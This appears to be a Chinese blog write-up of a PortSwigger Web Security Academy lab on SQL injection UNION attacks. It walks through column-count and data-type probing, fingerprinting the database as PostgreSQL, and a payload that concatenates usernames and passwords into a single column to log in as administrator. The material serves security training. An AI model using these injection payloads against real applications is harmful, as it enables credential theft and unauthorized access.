从业者-UNION攻击-在单个列中检索多个值
# 实验室:SQL注入UNION攻击,在单个列中检索多个值
# 题目
此实验室在产品类别筛选器中包含SQL注入漏洞 (opens new window)。
查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
数据库包含另一个名为users
的表,其中的列名为username
和password
。
若要解决实验室问题,请执行SQL注入UNION (opens new window)攻击,以检索所有用户名和密码,并使用这些信息以administrator
用户身份登录。
提示
您可以在SQL注入备忘单 (opens new window)上找到一些有用的有效负载。
- name: 实验室-从业者
desc: SQL注入UNION攻击,在单个列中检索多个值 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实验室
根据题意,可得实验目标:
- 在产品类别筛选器中 执行SQL注入UNION攻击
- 在单个列中检索多个值,以获取 users 表中的 username 和 password 字段
- 使用获得的信息,以 administrator 用户的身份进行登录
进入实验室
点击产品类别,找到产品类别筛选器
通过前面所学知识,使用 UNION SELECT查询空字符,判断原始查询列数
- 此处列数为2
' UNION SELECT NULL,NULL-- qwe

通过前面所学知识,判断每一列的数据类型
' UNION SELECT 'a',NULL-- qwe
' UNION SELECT NULL,'a'-- qwe
2
第一列,不是 或 不兼容字符串数据类型
第二列,符合字符串数据类型,并且在页面中返回了查询内容
# 查询方法一
笨方法
- 由于只有一列数据 可作为字符串数据进行查询
- 所以不能同时查询 username 和 password 两个字段
- 此处分两次查询,第一次查询 username,第二次查询 password
' UNION SELECT NULL,username FROM users-- qwe
' UNION SELECT NULL,password FROM users-- qwe
2
查询 username
查询 password
方法一虽然能满足需求,但存在缺点,例如:
- 步骤多余,需要先查询username,再查询password
- 数据乱,用户名和密码无法正确对应(在某些情况下,可以使用 ORDER BY对查询内容进行排序,这样就可以让用户名和密码正确对应)
- ...等缺点
# 查询方法二
也是该题目知识点:在单个列中查询多个值
- 由于不同的数据库,都有不同的字符串连接运算符
- 所以,要想使用该方法,就需要先判断数据库软件的类型
在符合字符串数据类型的位置,输入@@version
' UNION SELECT NULL,@@version-- qwe
页面显示错误信息,说明该应用程序的数据库 不是MySQL或同类型的数据库
输入version()
' UNION SELECT NULL,version()-- qwe
页面正常显示内容,并且返回了数据库版本。我们获得了数据库软件类型:PostgreSQL
根据题目提示,在SQL注入备忘单 (opens new window)中,找到PostgreSQL
数据库所使用的字符串连接符
- PostgreSQL使用双管道序列
||
来连接字符串
可以测试一下,随意查询两个字符串,并使用||
将它们连接起来
' UNION SELECT NULL,'abcd'||'xyz'-- qwe
返回了查询结果abcdxyz
,测试成功
根据本章所学知识,在单个列中查询多个值
- 在第二列中同时查询 username 和 password 字段
- 中间使用
~
将两个字段分隔
' UNION SELECT NULL,username || '~' || password FROM users-- qwe
页面返回了查询内容,用户名和密码正确对应
根据题意,我们需要以administrator用户的身份进行登录,点击 “My account” 进入登录页面
输入刚刚获得的用户名和密码(记得去掉中间的分隔符号~
),并点击登录按钮
登录之后,实验室提示我们完成了实验